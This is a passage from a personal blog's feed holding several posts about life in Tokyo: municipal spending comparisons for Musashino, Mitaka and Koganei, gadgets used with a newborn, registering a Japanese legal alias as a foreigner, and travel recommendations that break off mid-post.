&lt;p&gt;Data is also published on how the cities spend their money. &lt;a href=&quot;https://www.soumu.go.jp/iken/zaisei/r03_shichouson.html&quot;&gt;目的別歳出内訳&lt;/a&gt; shows the purpose of the spending (e.g. welfare, education) and &lt;a href=&quot;https://www.soumu.go.jp/iken/zaisei/r03_shichouson.html&quot;&gt;性質別歳出内訳&lt;/a&gt; shows the nature of the spending (e.g. salary). I’ll show some numbers from the former about welfare and educational spending.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;public welfare&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;33,215,646千円&lt;/td&gt;
      &lt;td&gt;41,707,752千円&lt;/td&gt;
      &lt;td&gt;26,697,093千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- % of overall&lt;/td&gt;
      &lt;td&gt;43.16%&lt;/td&gt;
      &lt;td&gt;53.26%&lt;/td&gt;
      &lt;td&gt;51.62%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;224.39千円&lt;/td&gt;
      &lt;td&gt;218.83千円&lt;/td&gt;
      &lt;td&gt;214.23千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- child welfare&lt;/td&gt;
      &lt;td&gt;14,863,633千円&lt;/td&gt;
      &lt;td&gt;19,222,396千円&lt;/td&gt;
      &lt;td&gt;14,553,676千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;100.41千円&lt;/td&gt;
      &lt;td&gt;100.86千円&lt;/td&gt;
      &lt;td&gt;116.79千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;educational expenses&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;13,796,513千円&lt;/td&gt;
      &lt;td&gt;7,871,068千円&lt;/td&gt;
      &lt;td&gt;4,276,149千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- % of overall&lt;/td&gt;
      &lt;td&gt;17.93%&lt;/td&gt;
      &lt;td&gt;10.05%&lt;/td&gt;
      &lt;td&gt;8.27%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;93.20千円&lt;/td&gt;
      &lt;td&gt;41.30千円&lt;/td&gt;
      &lt;td&gt;34.31千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- general expenses&lt;/td&gt;
      &lt;td&gt;4,934,066千円&lt;/td&gt;
      &lt;td&gt;2,607,578千円&lt;/td&gt;
      &lt;td&gt;850,611千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;33.33千円&lt;/td&gt;
      &lt;td&gt;13.68千円&lt;/td&gt;
      &lt;td&gt;6.83千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- elementary school&lt;/td&gt;
      &lt;td&gt;1,777,769千円&lt;/td&gt;
      &lt;td&gt;2,031,009千円&lt;/td&gt;
      &lt;td&gt;863,945千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;12.01千円&lt;/td&gt;
      &lt;td&gt;10.66千円&lt;/td&gt;
      &lt;td&gt;6.93千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- junior high school&lt;/td&gt;
      &lt;td&gt;925,344千円&lt;/td&gt;
      &lt;td&gt;789,519千円&lt;/td&gt;
      &lt;td&gt;482,268千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;6.25千円&lt;/td&gt;
      &lt;td&gt;4.14千円&lt;/td&gt;
      &lt;td&gt;3.87千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- social education&lt;/td&gt;
      &lt;td&gt;1,780,268千円&lt;/td&gt;
      &lt;td&gt;857,003千円&lt;/td&gt;
      &lt;td&gt;677,956千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;12.03千円&lt;/td&gt;
      &lt;td&gt;4.50千円&lt;/td&gt;
      &lt;td&gt;5.44千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- sport facilities&lt;/td&gt;
      &lt;td&gt;1,147,760千円&lt;/td&gt;
      &lt;td&gt;593,399千円&lt;/td&gt;
      &lt;td&gt;739,897千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;7.75千円&lt;/td&gt;
      &lt;td&gt;3.11千円&lt;/td&gt;
      &lt;td&gt;5.94千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- school lunch&lt;/td&gt;
      &lt;td&gt;3,231,306千円&lt;/td&gt;
      &lt;td&gt;992,560千円&lt;/td&gt;
      &lt;td&gt;661,472千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-- per resident&lt;/td&gt;
      &lt;td&gt;21.83千円&lt;/td&gt;
      &lt;td&gt;5.21千円&lt;/td&gt;
      &lt;td&gt;5.31千円&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Despite Musashino having a higher average income, they still spend to most on welfare among the 3 cities, but the difference is not that significant.&lt;/p&gt;

&lt;p&gt;Educational expenses on the other hand show that per resident Musashino spends more than twice of Mitaka and almost 3x of Koganei. This is a huge difference, so I wanted to drill down a bit, but couldn’t find a single reason why the difference (having items like “general expenses” also don’t really help).&lt;/p&gt;

&lt;p&gt;Spending 4x as much as the other cities on school lunches is also interesting, as I expected that this would make school lunches free in Musashino, but the price students need to pay seem to be the same in all three cities. &lt;a href=&quot;https://www.city.musashino.lg.jp/shussan_kodomo_kyoiku/sho_chugakko/kyushoku/1007035.html#:~:text=%E7%B5%A6%E9%A3%9F%E8%B2%BB%E3%81%AF%E3%80%81%E3%81%99%E3%81%B9%E3%81%A6%E9%A3%9F%E6%9D%90%E8%B2%BB%E3%81%AB%E5%85%85%E3%81%A6%E3%82%89%E3%82%8C%E3%80%81%E9%A3%9F%E6%9D%90%E8%B2%BB%E4%BB%A5%E5%A4%96%E3%81%AE%E5%85%89%E7%86%B1%E6%B0%B4%E8%B2%BB%E3%80%81%E8%AA%BF%E7%90%86%E5%93%A1%E3%81%AE%E4%BA%BA%E4%BB%B6%E8%B2%BB%E3%80%81%E8%A8%AD%E5%82%99%E6%95%B4%E5%82%99%E8%B2%BB%E7%AD%89%E3%81%AF%E5%B8%82%E3%81%8C%E8%B2%A0%E6%8B%85%E3%81%97%E3%81%A6%E3%81%84%E3%81%BE%E3%81%99%E3%80%82&quot;&gt;Musashino says on their website&lt;/a&gt; that the price of school lunches is used to cover the costs of ingredients, and the city pays for staff, utilities, and maintenance.&lt;/p&gt;

&lt;p&gt;So I decided to look into other years to see if this was just an outlier year (e.g. due to some one-time big purchase like buying land for a new building, or organizing some national competition), or if this is a persistent trend.&lt;/p&gt;

&lt;p&gt;Spending on eduction for 2019 (&lt;a href=&quot;https://www.soumu.go.jp/iken/zaisei/r01_shichouson.html&quot;&gt;source&lt;/a&gt;), 2020 (&lt;a href=&quot;https://www.soumu.go.jp/iken/zaisei/r02_shichouson.html&quot;&gt;source&lt;/a&gt;), 2021 (as above), 2022 (&lt;a href=&quot;https://www.soumu.go.jp/iken/zaisei/r04_shichouson.html&quot;&gt;source&lt;/a&gt;), using 2021 population numbers for the per resident spending:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Educational expenses&lt;/th&gt;
      &lt;th&gt;Musashino&lt;/th&gt;
      &lt;th&gt;Mitaka&lt;/th&gt;
      &lt;th&gt;Koganei&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2019&lt;/td&gt;
      &lt;td&gt;9,673,062千円&lt;/td&gt;
      &lt;td&gt;7,981,140千円&lt;/td&gt;
      &lt;td&gt;3,640,677千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;65.35千円&lt;/td&gt;
      &lt;td&gt;41.88千円&lt;/td&gt;
      &lt;td&gt;29.21千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2020&lt;/td&gt;
      &lt;td&gt;10,036,056千円&lt;/td&gt;
      &lt;td&gt;8,182,037千円&lt;/td&gt;
      &lt;td&gt;4,695,724千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;67.80千円&lt;/td&gt;
      &lt;td&gt;42.93千円&lt;/td&gt;
      &lt;td&gt;37.68千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2021&lt;/td&gt;
      &lt;td&gt;13,796,513千円&lt;/td&gt;
      &lt;td&gt;7,871,068千円&lt;/td&gt;
      &lt;td&gt;4,276,149千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;93.20千円&lt;/td&gt;
      &lt;td&gt;41.30千円&lt;/td&gt;
      &lt;td&gt;34.31千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2022&lt;/td&gt;
      &lt;td&gt;12,127,456千円&lt;/td&gt;
      &lt;td&gt;8,656,292千円&lt;/td&gt;
      &lt;td&gt;3,987,496千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;- per resident&lt;/td&gt;
      &lt;td&gt;81.93千円&lt;/td&gt;
      &lt;td&gt;45.42千円&lt;/td&gt;
      &lt;td&gt;32.00千円&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;4 year’s average (per resident)&lt;/td&gt;
      &lt;td&gt;77.07千円&lt;/td&gt;
      &lt;td&gt;42.88千円&lt;/td&gt;
      &lt;td&gt;33.30千円&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;So Musashino seems to be consistently spending more than the other 2 cities, but 2021 was an outlier even for them. In the 4 year average they are spending 80% more than Mitaka and 2.3x as much as Koganei.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;It was interesting to see that in some metrics these 3 cities are almost identical, and in others they show big differences. It has also been fun to try to guess what might be behind the difference in numbers.&lt;/p&gt;

&lt;p&gt;Overall I believe all 3 cities are very similar in most meaningful metrics. Musashino having a higher budget, and especially spending more on education is definitely a plus, but I can’t say that this makes the other cities bad options.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Tech that helped us during the first months with a newborn baby</title>
   <link href="https://szabo.jp/2024/03/14/newborn-tech/"/>
   <updated>2024-03-14T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/03/14/newborn-tech</id>
   <content type="html">&lt;p&gt;I work in tech, and while I try to maintain a healthy work-life balance, I still use many gadgets, so I thought to share which tech solutions helped us during the first month with our newborn baby.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;mobile-app-for-baby-tracking&quot;&gt;Mobile app for baby tracking&lt;/h1&gt;

&lt;p&gt;In the hospital we were asked to keep track of when the baby ate, peed, and pooped, and the midwifes would regularly check this paper form. When we got home initially we were using a similar paper-based method, but then changed to a mobile app, and it has been a game changer. We can record on either one of our smart phone or smart watch and it syncs immediately. It also calculates how much time since the last feed/sleep/diaper change, which can help us plan (the baby will wake up soon) and also understand why she is crying (if she just ate 30 minutes ago but hasn’t had her diapers changed in an hour, then it might be diaper).&lt;/p&gt;

&lt;p&gt;Based on a friend’s recommendation we went with the app named &lt;a href=&quot;https://play.google.com/store/apps/details?id=jp.co.sakabou.piyolog&amp;amp;hl=en&amp;amp;gl=US&quot;&gt;PiyoLog&lt;/a&gt; which is developed by &lt;a href=&quot;https://www.piyolog.com/index.html&quot;&gt;a Japanese company&lt;/a&gt;, but has English UI too.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-03-14-newborn-tech/piyolog.png#lb&quot; alt=&quot;PiyoLog baby tracking app - source: Google Play&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The free version works perfectly fine. If you pay, you get additional icon sets and colors, and the removal of a non-intrusive add from the bottom of the screen. I decided to pay just to support the developers (this is the first WearOS app that I find actually useful), but going with the free version is also totally fine.&lt;/p&gt;

&lt;h1 id=&quot;smart-watches-for-parents&quot;&gt;Smart watches (for parents)&lt;/h1&gt;

&lt;p&gt;Both my wife and I have the 1st gen Pixel Watch, and it has been super helpful to help us keep track of our sleep. When we see that we only slept 5-6 hours a night, then we know we have to take a nap during the day, otherwise we will be really exhausted by 7pm (and that’s the time our baby tends to get fussy).&lt;/p&gt;

&lt;p&gt;Also the app we use to record things about the baby (see above) has a companion app that works on WearOS, so when we change diapers in the middle of the night, it’s very easy to record it on the watch.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-03-14-newborn-tech/piyolog_watch1.png#lb&quot; alt=&quot;Time since last feed, sleep, diaper change&quot; /&gt;
&lt;img src=&quot;/assets/2024-03-14-newborn-tech/piyolog_watch2.png#lb&quot; alt=&quot;Recording a new event&quot; /&gt;
&lt;img src=&quot;/assets/2024-03-14-newborn-tech/piyolog_watch3.png#lb&quot; alt=&quot;Choosing the time for an event&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;baby-monitor&quot;&gt;Baby monitor&lt;/h1&gt;

&lt;p&gt;I guess this is pretty self-explanatory: when the baby sleeps during the day, it’s nice that we can close the door of the bedroom and still keep an eye on her. Based on a friend’s recommendation we went with &lt;a href=&quot;https://refer.getcubo.com/Aq1cEjPW2GIx&quot;&gt;CuboAI Plus&lt;/a&gt; (referral link), but sofar the smartness part is more of a nuance than actually useful.&lt;/p&gt;

&lt;p&gt;It detects if the baby’s face is covered and sends a notification to the phone. However our baby moves a lot and often brings her hand in front of her face for a few seconds, which results in a notification. There is also a notification every time the baby enters and leaves the view of the camera, which at this age only happens when we put the baby to bed or take her out, again not very useful at this point. There is also cry detection, which sends notifications too, even if the baby is not in her crib. So I’m often holding the baby, she cries, then I get a notification.&lt;/p&gt;

&lt;p&gt;What works really well though is the night vision: even in pitch dark room the camera feed is fully visible (although in black and white), and the ability to go check the history and save images or videos from the past. Also the camera works with Google Home, so we can put the camera feed on our Nest Hub, which is really helpful when the baby is sleeping and we are in the living room.&lt;/p&gt;

&lt;h1 id=&quot;smart-speaker&quot;&gt;Smart speaker&lt;/h1&gt;

&lt;p&gt;Our baby needs a lot of rocking, and walking around with her, and putting on some music during this helps us maintain the rhythm, and it also smooths the baby. Having a smart speaker (in our case a Nest Hub) is a great way to play the music.&lt;/p&gt;

&lt;h1 id=&quot;thermometers&quot;&gt;Thermometers&lt;/h1&gt;

&lt;p&gt;Our baby was born in February, so rooms getting too cold is a concern. We put thermometers into all rooms and the crib, and often check on them to see if the temperature is still good. They also measure humidity, and we have been using humidifiers in the bedroom and living room to help with that.&lt;/p&gt;

&lt;h1 id=&quot;dimmable-lights&quot;&gt;Dimmable lights&lt;/h1&gt;

&lt;p&gt;After dinner we want to get the baby ready to sleep, so we change our lights to warm white and dim them, then after going to bed we dim the lights in the living room and the room with the diaper changer to minimum. This gives us enough light during the night when we wake up with the baby, but also clearly signals to her that it’s still night and she needs to go back to sleep.&lt;/p&gt;

&lt;h1 id=&quot;food-delivery&quot;&gt;Food delivery&lt;/h1&gt;

&lt;p&gt;Not directly tech gadget but using food delivery services like Uber Eats have been really helpful when we are both exhausted. Also we had a few guests coming over to meet the baby, and it helps that we could just order food and not having to worry about that.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Japanese alias name (通称名, tsūshōmei)</title>
   <link href="https://szabo.jp/2024/03/05/japanese-alias/"/>
   <updated>2024-03-05T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/03/05/japanese-alias</id>
   <content type="html">&lt;p&gt;Japan allows foreigners to register a legal alias (通称名, tsūshōmei) and use it as their name in some situations.
In this post I’ll describe why and how I did this, and what it changed for my everyday life.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;my-reason&quot;&gt;My reason&lt;/h1&gt;

&lt;p&gt;So why did I decide to register a Japanese alias? It’s all about family.&lt;/p&gt;

&lt;p&gt;In Japan each family is registered in the family registry (戸籍, koseki), with everyone in the family having the same surname. The family is defined as parents and children, so when a person gets married they move from their parents’ koseki to their newly created one. This means that spouses must have the same family name after marriage (they get to choose one, usually the husband’s), and their kids will all have the same surname as well (until the kids get married or if the parents divorce). However the family registry only has entries for Japanese people (citizens), not for foreigners, so if a Japanese gets married with a foreigner they can both keep their old names.&lt;/p&gt;

&lt;p&gt;When we got married, my wife (who is Japanese) moved from her parents’ koseki to her newly created one, and I got added as a note saying that the husband is a foreigner. At this point we had a few options for my wife’s and future kids’ family name:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;My wife changes her surname to mine in katakana, so サボー. Then the kids would have the same surname.&lt;/li&gt;
  &lt;li&gt;My wife keeps her surname (木村, Kimura) and the kids get her surname.&lt;/li&gt;
  &lt;li&gt;My wife keeps her surname and after our kids are born we apply to the family court to allow the kids to move to their own koseki and get my name&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both of our family names are among the most common names in our countries, so neither of us is very attached to it. Thus the decision came down to convenience: as we intend to stay in Japan long term, our kids are better off with a Japanese family name. (I always have to repeat my name multiple times when making restaurant reservation, while my wife just says Kimura and everyone knows even the kanjis.) So my wife and our recently born baby are both 木村.&lt;/p&gt;

&lt;p&gt;However this might present a problem for me: as all Japanese families share the same family name, some people might expect the same from us. I’m a bit worried that if I go to a hospital, school or on a trip with our kid(s), it might be an issue that we don’t share a name, and there is no easy way to prove our relationship.&lt;/p&gt;

&lt;p&gt;To further reinforce this, when we went to the hospital for the delivery, sometimes the staff asked me to leave the room and wait in the lobby. When they wanted to call me back, they called me Kimura san (since they never asked my name, they simply used my wife’s surname which works for Japanese couples).&lt;/p&gt;

&lt;p&gt;So how can I become sort of Kimura? I could change my name in Hungary and become legally Kimura, then update all of my documents here (which would make me Kimura and not 木村, as they would use my name as it’s written in my passport), but that feels like too big of a change (also my Japanese is very far from being native, so I feel like having a very Japanese name and using it at work, bank, hospital, etc. would lead to confusion). And that’s how I decided to register 木村 as my legal alias, which means I get to have both names and decide which one I want to use in each situation.&lt;/p&gt;

&lt;h1 id=&quot;the-process&quot;&gt;The process&lt;/h1&gt;

&lt;p&gt;Alias registration is done by the city one lives in. It seems like it’s not fully regulated centrally, and cities get to make up some of the rules on what they accept as a reason for doing it. I live in Mitaka, so I went to the Mitaka city hall. First they told me that the purpose of the alias is to register a name that one has been using for a while, so they asked me if that’s the case. (If I say yes, then based on online sources they likely would have asked me for proof of this, e.g. utility bills, shipping labels, business card, etc.) I said no, and explained that the reason is to have the same family name as my wife and kids. The person at the counter then went to the back to check, and came back saying that this was a good enough reason. I filled out a form, and that was it.(The form had a field for the reason and the city hall staff recommended simply writing that I want the same family name as my wife.)&lt;/p&gt;

&lt;p&gt;They wrote my alias on my MyNumber card as 通称: 木村マーク at the place where they write your new address after moving. At next renewal it is supposed to go to the top of the card next to my real name like SZABO MARK (木村マーク).&lt;/p&gt;

&lt;p&gt;After the city hall, I printed a 住民票 (jūminhyō) at a konbini and this has 通称 as a separate field on the right of my normal name.&lt;/p&gt;

&lt;p&gt;Then I went to the police station to update my driving license. They gave me the standard form for address or name change, and I was told to write it as a new name like this: SZABO MARK (木村マーク). They wrote this in full at the section where address changes go, and told me that this will go to the top of the card on next renewal.&lt;/p&gt;

&lt;h1 id=&quot;next&quot;&gt;Next&lt;/h1&gt;

&lt;p&gt;Actually there is no next steps for me on this. I could tell my company about it and ask them to change my name to 木村マーク but I’d rather keep my current name for now. I might start using it for everyday things related to my family (e.g. ordering things online, maybe hotel reservations for family trip). But what’s important is that now I have multiple government issued IDs that have the same family name as the rest of my family.&lt;/p&gt;

&lt;h1 id=&quot;further-recommended-readings&quot;&gt;Further recommended readings&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://japaneveryday.jp/2023/04/japanese-name-change/&quot;&gt;https://japaneveryday.jp/2023/04/japanese-name-change/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Alien_registration_in_Japan#Legal_alias&quot;&gt;https://en.wikipedia.org/wiki/Alien_registration_in_Japan#Legal_alias&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ja.wikipedia.org/wiki/%E9%80%9A%E5%90%8D&quot;&gt;https://ja.wikipedia.org/wiki/通名&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>My Tokyo travel recommendations</title>
   <link href="https://szabo.jp/2024/02/18/my-tokyo-travel-recommendations/"/>
   <updated>2024-02-18T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/02/18/my-tokyo-travel-recommendations</id>
   <content type="html">&lt;p&gt;I often get asked by friends visiting Tokyo what they must see/eat/experience, so in this post I’ll summarize my top recommendations.
This doesn’t aim to include all the cool places, but rather highlight some of the less known parts of Tokyo that I really like.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;All photos were taken by me in this post.&lt;/em&gt;&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;things-to-see-in-tokyo&quot;&gt;Things to see in Tokyo&lt;/h1&gt;

&lt;h2 id=&quot;ghibli-museum-and-kichijoji&quot;&gt;Ghibli Museum and Kichijoji&lt;/h2&gt;

&lt;p&gt;I highly recommend &lt;a href=&quot;https://maps.app.goo.gl/4iCmiiw6TK7zDxow5&quot;&gt;Ghibli Museum&lt;/a&gt;, if you like any of their classic movies.
&lt;a href=&quot;https://www.ghibli-museum.jp/en/tickets/&quot;&gt;You need an advance ticket to enter, and tickets go on sale on the 10th of the previous month&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/ghibli.jpg#lb&quot; alt=&quot;Rooftop garden of Ghibli Museum (photos are not allowed inside)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The museum is located in Inokashira Park, so I recommend to take a train to Kichijoji and then walk from there.
After or before the museum I recommend walking around the park and also around Kichijoji station, North of the park.
Kichijoji has many shops on both sides of the station, and it’s a popular weekend destination for Tokyoites (which also means it gets pretty crowded, so weekdays are better to visit).&lt;/p&gt;

&lt;h3 id=&quot;to-eat&quot;&gt;To eat&lt;/h3&gt;

&lt;p&gt;If you get hungry, Kichijoji has many great local restaurants. Some of my favorites:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/8aGzzVXbhvxuobDd8&quot;&gt;Dōkutsuya ramen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/2t5XJpY16qQg9qMW9&quot;&gt;Ramen Sawada&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/6Z8snDXTZdxoc34m7&quot;&gt;Katsu yakitori and izakaya&lt;/a&gt; (only open in the night)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kichijoji is popular on the weekends, and it might be hard to find a restaurant without reservation. If you run into this problem, try one  station up or down the Chuo line: Mitaka or Nishi-Ogikubo both have many great local restaurants and they are often less crowded.&lt;/p&gt;

&lt;h2 id=&quot;kappa-bashi-shopping-street&quot;&gt;Kappa bashi shopping street&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://maps.app.goo.gl/wnV2tuun9Y1symWY9&quot;&gt;Kappa bashi is located&lt;/a&gt; between Ueno park and Asakusa, so I recommend visiting this together with either (or both) of those.
It’s a shopping street lined up with restaurant-supply shops and kitchen-equipment dealers.&lt;/p&gt;

&lt;p&gt;What I really like about this place is that while the shops serve tourist and regular customers, they also actively serve restaurants as well, so you can see all the things that one would need to open their own ramen shop.&lt;/p&gt;

&lt;p&gt;Since it’s a street, Google Maps brings you to the middle. I recommend starting at &lt;a href=&quot;https://maps.app.goo.gl/frDtZHbii6U4ssC88&quot;&gt;the shop called Niimi&lt;/a&gt; and then walk North from there.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/kappabashi.jpg#lb&quot; alt=&quot;Niimi store with the iconic chef&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you are in the neighborhood, you’ll likely also go to &lt;a href=&quot;https://maps.app.goo.gl/RFLd27GkwzS1wKMt6&quot;&gt;Sensō-ji&lt;/a&gt;, the famous temple in Asakusa (gets a bit crowded, but still a must see).
Close to the main gate of the temple is the &lt;a href=&quot;https://maps.app.goo.gl/D3x4EmcwdY7HXjDk9&quot;&gt;Asakusa Culture Tourist Information Center&lt;/a&gt; which has a great view from their top floor (all for free).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/asakusa.jpg#lb&quot; alt=&quot;View from the rooftop of Asakusa Culture Tourist Information Center&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;to-eat-1&quot;&gt;To eat&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/K5NnbiQJJddwBdbS6&quot;&gt;Kappa Matsuri&lt;/a&gt; - small local place serving okonomiyaki (hearty omelet with noodles)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/9tSmyFbcspp1qupm9&quot;&gt;Sometarō&lt;/a&gt; - slightly bigger place also serving okonomiyaki&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/mbCas8gDwYvj9Z7M6&quot;&gt;Bibibi Hokkaido restaurant&lt;/a&gt; - bit towards Ueno, but I highly recommend this place. Their main shop is in Hokkaido (the northerns most island of Japan), and they bring most of their ingredients from there.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maps.app.goo.gl/JKTRD8k3jjzrvGAo8&quot;&gt;Hoppy street&lt;/a&gt; - this is in Asakusa and it’s a street with many bars with outside seating.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/hoppystreet.jpg#lb&quot; alt=&quot;Hoppy street&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;ginza&quot;&gt;Ginza&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://maps.app.goo.gl/cVqpqNHUEqLD3FY37&quot;&gt;Ginza&lt;/a&gt; is the upscale shopping district of Tokyo.
The reason I like it is due to its architecture: Japanese building rules are pretty lax (it’s mostly about not blocking sun), so brands often go pretty crazy with their design.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/louisvutton.jpg#lb&quot; alt=&quot;Louis Vutton building in Ginza&quot; /&gt;&lt;/p&gt;

&lt;p&gt;My secret spot in the area is the rooftop garden of the &lt;a href=&quot;https://maps.app.goo.gl/udVACWU9n7T3oeKc6&quot;&gt;GINZA SIX&lt;/a&gt; department store.
The mall itself is also really stylish (and have a huge bookstore):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/ginzasix_inside.jpg#lb&quot; alt=&quot;GINZA SIX inside&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once you make your way up to the top, you’ll find a nice garden hidden in the middle of the city:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/ginzasix_garden.jpg#lb&quot; alt=&quot;GINZA SIX rooftop garden&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;shin-okubo-and-koreatown&quot;&gt;Shin-Okubo and Koreatown&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://maps.app.goo.gl/75BJrbLzg9amdnfo8&quot;&gt;Shin-Okubo&lt;/a&gt; is a train station on the Yamanote and the neighborhood is known as &lt;a href=&quot;https://maps.app.goo.gl/Qac9uh7LAvdSMUUs7&quot;&gt;Tokyo’s Koreatown&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2024-02-18-my-tokyo-travel-recommendations/okubo.jpg#lb&quot; alt=&quot;Tokyo&apos;s Koreatown in Shin-Okubo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It is a neighborhood of shops and restaurants, so the main thing is to walk around, shop and eat.
